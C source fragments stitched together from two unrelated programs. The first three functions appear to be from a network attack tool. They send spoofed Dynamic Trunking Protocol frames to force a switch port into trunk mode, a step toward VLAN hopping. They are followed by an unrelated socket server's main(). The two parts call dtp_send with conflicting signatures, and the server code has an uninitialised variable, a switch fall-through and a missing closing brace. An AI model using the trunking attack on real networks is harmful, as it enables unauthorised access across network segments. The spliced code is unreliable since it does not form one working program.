void dtp_th_send( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct dtp_data *dtp_data; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); dtp_data = attacks->data; dtp_data->dom_len = strlen(dtp_data->domain); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dtp_th_send pthread_sigmask()",errno); dtp_th_send_exit(attacks); } dtp_send(attacks); dtp_th_send_exit(attacks); }
void dtp_send_negotiate( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct timeval hello; int ret; int secs = 0; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); hello.tv_sec = 0; hello.tv_usec = 0; write_log(0,"\n dtp_helper: %X init...\n",(int)pthread_self()); while(!attacks->helper_th.stop) { if ( (ret = select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) break; if ( !ret ) /* Timeout... */ { if (secs == 30) /* Send DTP negotiate...*/ { dtp_send(attacks); secs=0; } else secs++; } hello.tv_sec = 1; hello.tv_usec = 0; } write_log(0," dtp_helper: %X finished...\n",(int)pthread_self()); pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); }
void dtp_th_nondos_do_trunk( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct dtp_data *dtp_data, dtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet; sigset_t mask; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dtp_nondos_do_trunk pthread_sigmask()",errno); dtp_th_nondos_do_trunk_exit(attacks); } dtp_data = attacks->data; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; /* If you want to test the NULL domain just set the defaults DTP packet values */ /* and comment the following lines. (and recompile)*/ /* From here... if (dtp_learn_packet(ALL_INTS,&attacks->attack_th.stop, &dtp_data_learned, &header) < 0) dtp_th_nondos_do_trunk_exit(attacks); memcpy(dtp_data->mac_dest, dtp_data_learned.mac_dest,6); memcpy(dtp_data->domain,(void *)dtp_data_learned.domain, dtp_data_learned.dom_len); dtp_data->version = dtp_data_learned.version; dtp_data->dom_len = dtp_data_learned.dom_len; dtp_data->status = dtp_data_learned.status; dtp_data->type = dtp_data_learned.type; ... to here. */ packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( ! packet ) dtp_th_nondos_do_trunk_exit(attacks); dtp_send(attacks); thread_usleep(999999); dtp_send(attacks); thread_usleep(999999); if ( !attacks->attack_th.stop ) { dtp_send(attacks); if ( ! thread_create( &attacks->helper_th, &dtp_send_negotiate, attacks ) ) { while ( ! attacks->attack_th.stop ) { interfaces_get_packet( attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DTP, NO_TIMEOUT ); if ( ! attacks->attack_th.stop ) { ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(dtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if ( dtp_load_values( &pcap_aux, &dtp_data_learned ) < 0) continue; switch( dtp_data_learned.status & 0xF0 ) { case DTP_TRUNK: dtp_data->status = (DTP_TRUNK | DTP_DESIRABLE); break; case DTP_ACCESS: dtp_data->status = (DTP_ACCESS | DTP_DESIRABLE); break; } } } } else write_log( 0, "dtp_th_nondos_do_trunk thread_create error\n" ); } free(packet); dtp_th_nondos_do_trunk_exit(attacks); }
int main (int argc, char **argv) { char opt; int sockfd, new_fd; struct sockaddr_in my_addr; /* my address information */ struct sockaddr_in their_addr; /* connector's address information */ int sin_size; struct timeval curTime; int milli; char timeString[80]; int w_rate = DEFAULT_W_RATE; int c_rate = DEFAULT_C_RATE; int port = DEFAULT_PORT; int unlimited = 0; char buffer[BUFSIZE] = {0}; unsigned int w_interval; unsigned int c_interval; int isWifi = -1; while ((opt = getopt(argc, argv, "w:c:p:u")) != -1) switch (opt) { /* wifi send rate (Bps)*/ case 'w': w_rate = atoi(optarg); break; /* cellular send rate (Bps)*/ case 'c': c_rate = atoi(optarg); break; case 'p': port = atoi(optarg); break; case 'u': unlimited = 1; default: break; } if (port < 1024 || port > 65535) { printf("invalid port number\n"); return 0; } if (w_rate < 0 || c_rate < 0) { printf("invalid rate\n"); return 0; } w_interval = (1000*1000 * BUFSIZE / w_rate); c_interval = (1000*1000 * BUFSIZE / c_rate); sockfd = dtp_socket(); my_addr.sin_family = AF_INET; /* host byte order */ my_addr.sin_port = htons(port); /* short, network byte order */ my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */ bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ if (dtp_bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } if (dtp_listen(sockfd, BACKLOG) == -1) { perror("listen"); exit(1); } while(1) { /* main accept() loop */ printf("start accepting\n"); sin_size = sizeof(struct sockaddr_in); if ((new_fd = dtp_accept(sockfd, (struct sockaddr *)&their_addr, (socklen_t*)&sin_size)) == -1) { perror("accept"); continue; } gettimeofday(&curTime, NULL); milli = curTime.tv_usec / 1000; strftime(buffer, 80, "%Y-%m-%d %H:%M:%S", localtime(&curTime.tv_sec)); printf("(%s.%03d)server: got connection from %u.%u.%u.%u\n" , buffer, milli, (their_addr.sin_addr.s_addr & 0x000000ff), (their_addr.sin_addr.s_addr & 0x0000ff00) >> 8, (their_addr.sin_addr.s_addr & 0x00ff0000) >> 16, (their_addr.sin_addr.s_addr & 0xff000000) >> 24); fflush(stdout); // if (!fork()) { /* this is the child process */ if (dtp_fcntl(new_fd, DTP_F_SETFL, dtp_fcntl(new_fd, DTP_F_GETFL, 0) | O_NONBLOCK)) { printf("Setting NON-BLOCK failed\n"); return 0; } while (1) { int state; int ret; dtp_getpeername(new_fd, (struct sockaddr *)&their_addr, (socklen_t*)&sin_size); if ((ret = dtp_send(new_fd, buffer, BUFSIZE, 0)) == -1) if (errno != EAGAIN) { perror("dtp_send"); break; } if (state != IS_WIFI(their_addr.sin_addr.s_addr)) { state = IS_WIFI(their_addr.sin_addr.s_addr); gettimeofday(&curTime, NULL); milli = curTime.tv_usec / 1000; strftime(buffer, 80, "%Y-%m-%d %H:%M:%S", localtime(&curTime.tv_sec)); printf("(%s.%03d)server: Interface changed %u.%u.%u.%u (%s)\n" , buffer, milli, (their_addr.sin_addr.s_addr & 0x000000ff), (their_addr.sin_addr.s_addr & 0x0000ff00) >> 8, (their_addr.sin_addr.s_addr & 0x00ff0000) >> 16, (their_addr.sin_addr.s_addr & 0xff000000) >> 24, state == 1 ? "WIFI" : "CELLULAR"); fflush(stdout); } if (!unlimited) usleep(IS_WIFI(their_addr.sin_addr.s_addr) ? w_interval : c_interval); } dtp_close(new_fd); // exit(0); // } // else { // dtp_close(new_fd); /* parent doesn't need this */ // } // while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child processes */ }